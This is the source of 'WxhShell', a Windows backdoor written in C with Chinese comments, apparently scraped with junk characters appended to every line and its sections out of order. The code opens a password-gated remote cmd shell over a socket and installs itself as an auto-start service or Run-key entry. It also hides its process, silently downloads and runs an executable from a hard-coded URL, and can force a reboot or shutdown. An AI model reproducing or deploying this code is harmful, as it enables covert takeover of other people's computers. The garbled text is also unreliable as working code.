    if(Boot(SHUTDOWN)) R!>l7p/|H)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1EMrXnv,  
    else { cC pNF `DN  
    closesocket(wsh); ]?sw<D{  
    ExitThread(0); sjy/[.4-  
    } =xjt PmZ5X  
    break; G?+0#?'Y  
    } ~P fk   
  // 获取shell \=c@  
  case 's': { )0o|u>  
    CmdShell(wsh); XyYP!<].C  
    closesocket(wsh); K!a7Hg  
    ExitThread(0); {W'{A  
    break;  Il]p >B  
  } 4Q(w D  
  // 退出 \*mKctpz]6  
  case 'x': { jO.c>C[?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /_Fi4wZ  
    CloseIt(wsh); AzMX~cd  
    break; RDxvN:v  
    } +WE<S)z<  
  // 离开 th|'t}bWV  
  case 'q': { &[t} /+)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9~v#]Q}Z}4  
    closesocket(wsh); uoq|l  
    WSACleanup(); byHXRA)39  
    exit(1); ~? n)/i("  
    break; R[W'LRh~:1  
        } DD'RSV5]  
  } a;f A0_  
  } N)EJP ~0  
+{\b&q_  
  // 提示信息 PTpGZ2FZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PNpH)'C|  
} &UQP9wS4v  
  } g$U7bCHG  
ua!RwSo  
  return; eB_ M *+^  
} `svOPB4C'  
V^kl_!@  
// shell模块句柄 m!WDXt  
int CmdShell(SOCKET sock) 8b X?HeYrr  
{ P EMuIYm$  
STARTUPINFO si; T,uJO<  
ZeroMemory(&si,sizeof(si)); V!f' O@p[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; COL_c<\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <3 I0$?xL  
PROCESS_INFORMATION ProcessInfo; ~}Z'/ zCZf  
char cmdline[]="cmd"; r12e26_Ab  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2{01i)2y  
  return 0; ;HmQRiCg  
} ^.>XDUO F  
S[y?>  
// 自身启动模式 TUi<  
int StartFromService(void) /mQ9} E4X  
{ s;,ulME  
typedef struct \eCQL(_  
{ yHmNO*(  
  DWORD ExitStatus; `aM8L  
  DWORD PebBaseAddress; a;v;%rs  
  DWORD AffinityMask; nm`}Z'&)  
  DWORD BasePriority; t+aE*Q  
  ULONG UniqueProcessId; Fv3:J~Yf  
  ULONG InheritedFromUniqueProcessId;  L{u1_  
}   PROCESS_BASIC_INFORMATION; pW5PF)([  
!}J19]\  
PROCNTQSIP NtQueryInformationProcess; R 5Cy%  
8O.5ML{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `cqZ;(^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J1d|L|M  
&Ui&2 EW  
  HANDLE             hProcess; e ls&_BPE  
  PROCESS_BASIC_INFORMATION pbi; v]m#+E   
(h27SLYm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 70E@h=oQ  
  if(NULL == hInst ) return 0; W C3b_ia  
An=Q`Uxt/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /i IWt\J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *Edr\P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9S{?@*V  
z1LY|8$G  
  if (!NtQueryInformationProcess) return 0; 7J$Yd976  
'?b.t2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8zH/a   
  if(!hProcess) return 0; l`vr({A  
k6??+b:rE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y:dwx*Q9I  
0zqTX< A  
  CloseHandle(hProcess); Cz#3W8jV  
M5l*D'GE]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &;@U54,wV  
if(hProcess==NULL) return 0; \\,z[C  
n4G53+y'  
HMODULE hMod; fc9gi4y9  
char procName[255]; (N$$N:ac[t  
unsigned long cbNeeded; G9jlpf5>  
!@@rO--&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `*Jw[Bnh8  
WyJXT.  
  CloseHandle(hProcess); ppPzI,  
)4bZ;'B5  
if(strstr(procName,"services")) return 1; // 以服务启动 {#%;HqP  
et :v4^*f  
  return 0; // 注册表启动 6T=zHFf~  
} {y7,n  
ii]'XBSVd  
// 主模块 l|K`'YS!<{  
int StartWxhshell(LPSTR lpCmdLine) ZUUfn~ORc  
{ Y\ G^W8  
  SOCKET wsl; :@q9ll`6u  
BOOL val=TRUE; nwAx47>{  
  int port=0; XrQS?D `  
  struct sockaddr_in door; :Qklbd[9qF  
( ?pn2- Ip  
  if(wscfg.ws_autoins) Install(); Y$6W~j  
O7\ )C]A  
port=atoi(lpCmdLine); Z|a\rNv  
parC~)b_  
if(port<=0) port=wscfg.ws_port; 9{5 c}bX  
/'0,cJnm  
  WSADATA data; dM3V2TT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0 B[eG49  
_\2^s&iJh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o*1t)HL<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &-6 D'@  
  door.sin_family = AF_INET; k0R;1lZ0n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1">]w2je:  
  door.sin_port = htons(port); m 1lfC  
YP vg(T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y&_1U/}h  
closesocket(wsl); 9=Rj9%  
return 1; L8j#l u  
} N^8 lfc$a  
r&-I r3[  
  if(listen(wsl,2) == INVALID_SOCKET) { hDs.4MZC`  
closesocket(wsl); Kq`"}&0b\  
return 1; !T 3 Esv  
} g_w4}!|  
  Wxhshell(wsl); s% ~p?_P   
  WSACleanup(); MF^I] 7_  
P=9Zm  
return 0; ^NTOZ0x~#  
=xX\z\[A  
} 6">jf #pE  
'zhw]L;'g  
// 以NT服务方式启动 -/ #tQ~{gs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D;Jb' Be  
{ v`$9;9  
DWORD   status = 0; u!DSyHR '  
  DWORD   specificError = 0xfffffff; X*'-^WM6  
~ ]q^Akq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'E,Bl]8C5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kM\O2 ay  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tEl4 !v A  
  serviceStatus.dwWin32ExitCode     = 0; lYu1m  
  serviceStatus.dwServiceSpecificExitCode = 0; ;DKwv}  
  serviceStatus.dwCheckPoint       = 0; !&Q3>8l  
  serviceStatus.dwWaitHint       = 0; mckrR$>  
"@I"0OA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cuP5cL/Y  
  if (hServiceStatusHandle==0) return; S:"t]gbF =  
N{G+|WmQ  
status = GetLastError(); UI:{*N**Z  
  if (status!=NO_ERROR) eMvb*X6  
{ ; (+r)r_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b\w88=|  
    serviceStatus.dwCheckPoint       = 0; :/IcFU~)M  
    serviceStatus.dwWaitHint       = 0; (&$|R\W.  
    serviceStatus.dwWin32ExitCode     = status; 7o+!Gts]  
    serviceStatus.dwServiceSpecificExitCode = specificError; =7mR#3yt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QPfS3%p`  
    return; |8"~ou:.  
  } S!n 9A  
VBssn]w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3Ecm Nwr  
  serviceStatus.dwCheckPoint       = 0; Cs %-f"  
  serviceStatus.dwWaitHint       = 0; BKm$H! u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EhybaRy;C  
} ?fEX&t,'  
2eu`X2IBcT  
// 处理NT服务事件,比如:启动、停止 [hS?d.D   
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8E Y< ^:  
{ 5b[:B~J  
switch(fdwControl) aM9St!i  
{ _|Ml6;1aZ  
case SERVICE_CONTROL_STOP: `B6{y9J6  
  serviceStatus.dwWin32ExitCode = 0; rQ'tab.,]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v) q6  
  serviceStatus.dwCheckPoint   = 0; WU1o4&OF  
  serviceStatus.dwWaitHint     = 0; K0\a+6kh  
  { bhSpSul  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z[S,hD\w  
  } \wNn c"  
  return; t{>66jm\R  
case SERVICE_CONTROL_PAUSE: iEki<e/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |7/B20  
  break; /)de`k"  
case SERVICE_CONTROL_CONTINUE: 7Yxy2[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !o4xI?  
  break; *<U&DOYV:  
case SERVICE_CONTROL_INTERROGATE: EBM\p+x&  
  break; c`X'Q)c&K  
}; $YSD%/c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x[}e1sXXs  
} C)z[Blt  
&u"*vG (U[  
// 标准应用程序主函数 A0rdQmrOL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ytx+7OLe  
{ VJCh5t*  
M Zw%s(lv  
// 获取操作系统版本 6EK+]0  
OsIsNt=GetOsVer(); 6DJ,/J2F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :<&}/r  
q'hV 'U  
  // 从命令行安装 <'~8mV1  
  if(strpbrk(lpCmdLine,"iI")) Install(); vt mO  
d!KX.K\NM,  
  // 下载执行文件 !nj%n  
if(wscfg.ws_downexe) { \MtiLaI"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~~zw[#'  
  WinExec(wscfg.ws_filenam,SW_HIDE); jD^L<  
} 9v cUo?/  
e^XijId.  
if(!OsIsNt) { ;*W]]4fy  
// 如果时win9x,隐藏进程并且设置为注册表启动 u."fJ2}l0X  
HideProc(); Q '+N72=  
StartWxhshell(lpCmdLine); [l#WS  
} B@zJ\Ir[  
else R[&lk~a{=  
  if(StartFromService()) }h_Op7.5D  
  // 以服务方式启动 @?B=8VHR  
  StartServiceCtrlDispatcher(DispatchTable); ? 3}UO:B  
else ;mi0Q.  
  // 普通方式启动 j 5'Jp}  
  StartWxhshell(lpCmdLine); 6>=>Yj  
Xp} vJl   
return 0; ri JyH;)  
} eN> (IW  
>>$IHz4Z"  
LDBR4@V  
){YPP!8cI  
=========================================== Ix"c<1 I  
cZ!s/^o?f  
Yn<0D|S;X  
uAjGR  
<Z m ,q}  
o~-X7)]  
" BXfaqYb;Q  
"j a0,%3  
#include <stdio.h> uCu,'F,6Y  
#include <string.h> 3(5RUI-  
#include <windows.h> 2/7=@>|  
#include <winsock2.h> Gr6ma*)y~t  
#include <winsvc.h> [BQw$8 +n_  
#include <urlmon.h> gs8L/veP  
K%pmE?%,8  
#pragma comment (lib, "Ws2_32.lib") #dpt=  
#pragma comment (lib, "urlmon.lib") <,E*,&0W  
99ha /t  
#define MAX_USER   100 // 最大客户端连接数 0X0D8H(7Q  
#define BUF_SOCK   200 // sock buffer ;n;^f&;sJ  
#define KEY_BUFF   255 // 输入 buffer s3+O=5  
d(@A  
#define REBOOT     0   // 重启 m@O\Bi}=}  
#define SHUTDOWN   1   // 关机 9>i6oF]Oq  
L\Jl'r|  
#define DEF_PORT   5000 // 监听端口 Pm1 " 0  
@Qs-A^.  
#define REG_LEN     16   // 注册表键长度 !GIsmqVY  
#define SVC_LEN     80   // NT服务名长度 HQ s)T  
Z@[,"{Sn  
// 从dll定义API p_z"Uwp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sRZ:9de+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zDl, bLiJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O h" ^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Mb>6.l  
CD&m4^X5D  
// wxhshell配置信息 AltE~D/4  
struct WSCFG { +uLo~GdbE  
  int ws_port;         // 监听端口 .d "+M{I  
  char ws_passstr[REG_LEN]; // 口令 oX}n"5o:  
  int ws_autoins;       // 安装标记, 1=yes 0=no R{[Q+y'E  
  char ws_regname[REG_LEN]; // 注册表键名 6fV)8,F3  
  char ws_svcname[REG_LEN]; // 服务名 '!2t9B8XX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NdNfai  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %7d"()L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n21$57`4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (t]>=p%4g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  wi9|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zl:D|h77  
9#(QS+q~  
}; [*vN`AfE  
1}BNG,n  
// default Wxhshell configuration 4jz]c"p-  
struct WSCFG wscfg={DEF_PORT, iCK$ o_`?  
    "xuhuanlingzhe", +z D'r5  
    1, x5|v# -F ^  
    "Wxhshell", ;Bb5KD  
    "Wxhshell", ^97ZH)Ww  
            "WxhShell Service", _#4,&bh8  
    "Wrsky Windows CmdShell Service", ,\M_q">npc  
    "Please Input Your Password: ", v$i%>tQ\  
  1, _B1uE2j9  
  "http://www.wrsky.com/wxhshell.exe", J:lwq@u  
  "Wxhshell.exe" {@#L'i|  
    }; -$)Et|  
A C^[3  
// 消息定义模块 ,xz^ k/.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 68c;Vb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yy } 0_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |d5L Ifb(  
char *msg_ws_ext="\n\rExit."; "?{yVu~9  
char *msg_ws_end="\n\rQuit."; d8kwW!m+  
char *msg_ws_boot="\n\rReboot..."; e 1loI8  
char *msg_ws_poff="\n\rShutdown..."; nwo!A3w:  
char *msg_ws_down="\n\rSave to "; IA^)`l7H  
YgiGI <U  
char *msg_ws_err="\n\rErr!"; BZ<z@DJp  
char *msg_ws_ok="\n\rOK!"; k@aP&Z~  
8@aS9 th$  
char ExeFile[MAX_PATH]; Rdg0WT*;j  
int nUser = 0; M0zD)@  
HANDLE handles[MAX_USER]; v,+l xY  
int OsIsNt; V 3]p3  
N ]7a=  
SERVICE_STATUS       serviceStatus; zsXH{atY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a1`cI5n  
.:ZXtU  
// 函数声明 &iOtw0E  
int Install(void); Hm* vKFhz  
int Uninstall(void); L||yQH7n  
int DownloadFile(char *sURL, SOCKET wsh); ZY!pw6R1>*  
int Boot(int flag); 02^(z6K'&?  
void HideProc(void); qX'a&~s)n  
int GetOsVer(void); :UcS$M1LE  
int Wxhshell(SOCKET wsl); OZ;E&IL  
void TalkWithClient(void *cs); >1U@NK)HfY  
int CmdShell(SOCKET sock); D:ugP ,  
int StartFromService(void); B ^(rUR  
int StartWxhshell(LPSTR lpCmdLine); ?+O|mX}`-  
d95N$n   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (1,#=e+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I A`8ie+  
87(^P3;@  
// 数据结构和表定义 'B5J.Xe:  
SERVICE_TABLE_ENTRY DispatchTable[] = &&nO]p`  
{ p\_qHq\;j  
{wscfg.ws_svcname, NTServiceMain}, GLQvAHC  
{NULL, NULL} ]GtR8w@w  
}; 6J-}&U  
eH!|MHe  
// 自我安装 $ XsQ e  
int Install(void) IaTq4rt  
{  "$Iw Q  
  char svExeFile[MAX_PATH]; j'*p  
  HKEY key; x\hn;i<  
  strcpy(svExeFile,ExeFile); !J=;Z9  
WQLL[{mhS  
// 如果是win9x系统,修改注册表设为自启动 TJ[jZuT:  
if(!OsIsNt) { 0*;9CH=BE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :5K ~/=6x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f76|  
  RegCloseKey(key); 6>BDA?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kw^Dp[8X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @!a]qAt  
  RegCloseKey(key); T7,Gf({  
  return 0; v~2XGm  
    } Df,VV+  
  } Px7g\[]  
} inv{dg/2  
else { _d0-%B 9m  
dezL{:Ya  
// 如果是NT以上系统,安装为系统服务 Vc52s+7=8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b)hOzx  
if (schSCManager!=0) HA.NZkq.tV  
{ EOnp!]Y  
  SC_HANDLE schService = CreateService ?> MoV5  
  ( YeExjC  
  schSCManager, ua|Z`qUyq  
  wscfg.ws_svcname, fA M4Q  
  wscfg.ws_svcdisp, jbhJ;c:  
  SERVICE_ALL_ACCESS, x\bRj>%(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W8yfa[z~J  
  SERVICE_AUTO_START, _IKP{WNB  
  SERVICE_ERROR_NORMAL, @j\?h$A/  
  svExeFile, v8vh~^X%P  
  NULL, ({_:^$E\  
  NULL, )Kk(P/s  
  NULL, Fma`Cm.  
  NULL, mf;^b.mKh  
  NULL h [|zs>p  
  ); dI ZTLb"a  
  if (schService!=0) SeZT4y*=  
  { G E~(N N  
  CloseServiceHandle(schService); E2h;hr;W  
  CloseServiceHandle(schSCManager); WQLHjGehe  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t2 -nCRXEP  
  strcat(svExeFile,wscfg.ws_svcname); k`7.p,;}U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zUEfa!#?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v_ nBh,2  
  RegCloseKey(key); K!D_PxV  
  return 0; `/wq3+?  
    } /,!7jF:  
  } n#^?X  
  CloseServiceHandle(schSCManager); 6KCCbg/  
} :&1=8^BY  
} nA_ zP4  
kk /+Vx~  
return 1; gKs/T'PW  
} 3dxnh,]&@  
emkMR{MY  
// 自我卸载 bDZKQ&  
int Uninstall(void) D=82$$  
{ Rd vPsv} D  
  HKEY key; \+?,c\x  
S1az3VJI\  
if(!OsIsNt) { 8MeO U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xc9p;B>^Ts  
  RegDeleteValue(key,wscfg.ws_regname); WJY4>7}{B@  
  RegCloseKey(key); N+C)/EN$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \o62OfF!  
  RegDeleteValue(key,wscfg.ws_regname); FU (}=5n  
  RegCloseKey(key); zhA',p@K?_  
  return 0; ^iV`g?z  
  } d#vS E.&  
} 94h_t@Q/1  
} 0x]OF8=J  
else { ~D -JZx  
fNAo$O4cm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0[2BY]`Z.  
if (schSCManager!=0) (ifqwl62  
{ X#p o|,Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E*r  
  if (schService!=0) @tE&<[e  
  { Rg8m4xw  
  if(DeleteService(schService)!=0) { s}[A4`EWH  
  CloseServiceHandle(schService); ;o_V!< $  
  CloseServiceHandle(schSCManager); 43{_Y]  
  return 0; PQU3s$  
  } w;yiX<t<  
  CloseServiceHandle(schService); z@Z_] h  
  } xq Q~|  
  CloseServiceHandle(schSCManager); %0+h  
} <=)D=Ax/_[  
} 3XApY'  
\tiUE E|k  
return 1; g:uvoMUD  
} a+YR5*&[OO  
 4]DAh  
// 从指定url下载文件 z\Pe{J  
int DownloadFile(char *sURL, SOCKET wsh) .# !'c  
{ }&Wp3EWw  
  HRESULT hr; |8DH4*y!  
char seps[]= "/"; Z^'?|qFj!  
char *token; &J lpA<^s;  
char *file; J8GXI:y  
char myURL[MAX_PATH]; P7'oXtW{o  
char myFILE[MAX_PATH]; H9Y2n 0  
e(OwS?K  
strcpy(myURL,sURL); D4=..;  
  token=strtok(myURL,seps); IdV,%d{  
  while(token!=NULL) ,YP1$gj  
  { "<PoJPh  
    file=token; [):{5hMA  
  token=strtok(NULL,seps); 97qtJ(ESI  
  } 5"-una>D  
} * ?n?'  
GetCurrentDirectory(MAX_PATH,myFILE); h*;g0QBkl  
strcat(myFILE, "\\"); b(P HZCy#  
strcat(myFILE, file); 9SRfjS{7  
  send(wsh,myFILE,strlen(myFILE),0); u( V  
send(wsh,"...",3,0); [K/O5_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NCowt|#t  
  if(hr==S_OK) YVQ_tCC_!  
return 0; la G$v-r  
else RLYU\@kK?  
return 1; 18DTv6?QG  
M>*0r<qn  
} E^Q@9C<!d  
j!zA+hF (  
// 系统电源模块 YMc8Q\*B  
int Boot(int flag) X+]L-o6I2  
{ d] b~)!VW  
  HANDLE hToken; I! h(`  
  TOKEN_PRIVILEGES tkp; '}U_D:o.b  
Zdv.PGn  
  if(OsIsNt) { u-AWJc+F.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V,>+G6e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *'UhlFed  
    tkp.PrivilegeCount = 1; 0K=Qf69Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CCbkxHMf|!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .dD9&n;#^  
if(flag==REBOOT) { uL2"StW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .ocx(_3G  
  return 0; Zu\p;!e  
} E:uReT  
else { ;j>*;Q`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0lX)Cl  
  return 0; mgi,b2  
} [<]Y+33  
  } 1vB-M6(  
  else { eq^TA1>T  
if(flag==REBOOT) { vS7/~:C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C>*5=p|T  
  return 0; 6-mmi7IfO  
} DRH'A!r!  
else { =?= )s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^y:FjQC:  
  return 0; T?W[Z_D  
} nqZA|-}  
} W3^zIj  
`d75@0:  
return 1; c5X`_  
} q:vz?G  
F0@Qgk]\  
// win9x进程隐藏模块 \n[ 392  
void HideProc(void) ?k [%\jq{a  
{ .CVUEK@Z4  
k1wCa^*gc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "e~k-\^Y  
  if ( hKernel != NULL ) S3SV.C:z>  
  { 'I&|1I^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,`;jvY~Ec  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ./#e1m?.  
    FreeLibrary(hKernel); 'dkXYtKCB  
  } #2h+dk$1  
Ds {{J5Um%  
return; i\(\MzW*'  
} M(qxq(#{U  
PKi_Zh.D  
// 获取操作系统版本 GtF2@\  
int GetOsVer(void) Z`rK\Bc  
{ Ee&hG[sx  
  OSVERSIONINFO winfo; } <SNO)h3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vKU`C?,L  
  GetVersionEx(&winfo); :bwM]k*$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =g@R%NDNV  
  return 1; zu52 p4  
  else CE{z-_{ ^  
  return 0; D,k(~  
} WElrk:b  
jRofG'  
// 客户端句柄模块 R 4V \B  
int Wxhshell(SOCKET wsl) Hz E1r+3Q@  
{ WNhbXyp_  
  SOCKET wsh; H6_xwuw:  
  struct sockaddr_in client; [!G)$<  
  DWORD myID; 4RhR[  
+)gGs# 2X  
  while(nUser<MAX_USER) Wdo#?@m  
{ ,E&Bn8L~O  
  int nSize=sizeof(client); Y[Es  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~uB'3`x  
  if(wsh==INVALID_SOCKET) return 1; DR6]-j!FK  
qh-[L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Qu`n&  
if(handles[nUser]==0) rnu e(t  
  closesocket(wsh); k_!+V`Ro#  
else ~wTX >qV  
  nUser++; X:Q$gO?[4  
  } gA_krK ,Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vVAb'`ysv  
7$ d}!S  
  return 0; cS}r9ga Q  
} P<u"97@8a  
6^sHgYR  
// 关闭 socket @44P4?;  
void CloseIt(SOCKET wsh) +jtA&1cf  
{ }w@gj"\H  
closesocket(wsh); MD<-w|#8IV  
nUser--; @;m$ua*|:  
ExitThread(0); ;`kWpM;  
} W}h|K:-S  
84'?u m  
// 客户端请求句柄 O-j$vzHpdY  
void TalkWithClient(void *cs) 0qv$:w)g+v  
{ 2Pp&d>E4  
|6%.VY2b  
  SOCKET wsh=(SOCKET)cs; "V 3}t4  
  char pwd[SVC_LEN]; .B>B`q;B  
  char cmd[KEY_BUFF]; %,|ztH/ Q  
char chr[1]; t^.'>RwW|  
int i,j; )Pli})   
M-Y0xWs  
  while (nUser < MAX_USER) { 8%[HYgd5)  
Tr&E4e  
if(wscfg.ws_passstr) { o'Pu'y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A W)a">|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t[EfOQ  
  //ZeroMemory(pwd,KEY_BUFF); &!jq!u$(  
      i=0; c&f y{}10  
  while(i<SVC_LEN) { !%xP}{(7  
'"'Btxz  
  // 设置超时 H] k'?;  
  fd_set FdRead; jJ~Y]dQi  
  struct timeval TimeOut; zE`R,:VI  
  FD_ZERO(&FdRead); 0+EN@Y^dAV  
  FD_SET(wsh,&FdRead); Uki9/QiX>  
  TimeOut.tv_sec=8; 8Bpip  
  TimeOut.tv_usec=0; .^[_ V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .$ Bwb/a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %9o+zg? RJ  
M^6$ MMx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W&(f&{A  
  pwd=chr[0]; LmQ/#Gx  
  if(chr[0]==0xd || chr[0]==0xa) { Z)&D`RCf  
  pwd=0; =-~;OH /  
  break; WA.AFt  
  } aV>aiR=  
  i++; .0|=[|  
    } Q> 8pP\ho  
rGlRAn#?,  
  // 如果是非法用户,关闭 socket 5j{Np,K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r7 VXeoX  
} NP/>H9Q2%  
zoP%u,XL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @Z;1 g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F Z!J  
Y-p<qL|_  
while(1) { \k@Z7+&7  
dB;3.<S=  
  ZeroMemory(cmd,KEY_BUFF); "&lN\&:  
Z0ReWrl;`  
      // 自动支持客户端 telnet标准   ~ y;y(4<  
  j=0; jxw_*^w"  
  while(j<KEY_BUFF) { R8&|+ya  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <y)E>Fl  
  cmd[j]=chr[0]; phP> 3f.T  
  if(chr[0]==0xa || chr[0]==0xd) { ip``v0Nf  
  cmd[j]=0; Yv )aAWEa  
  break; *Msr15  
  } Dag`>|my  
  j++; 6T+  
    } GK{{7B  
~p*1:ij  
  // 下载文件 Pxhz@":[  
  if(strstr(cmd,"http://")) { 0oU=RbC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Lw*]EG|?  
  if(DownloadFile(cmd,wsh)) )%Ru#}1X6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a<m-V&4x  
  else h qmSE'8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [s` G^  
  } RFko>d  
  else { otr>3a*'  
B@t'U=@7  
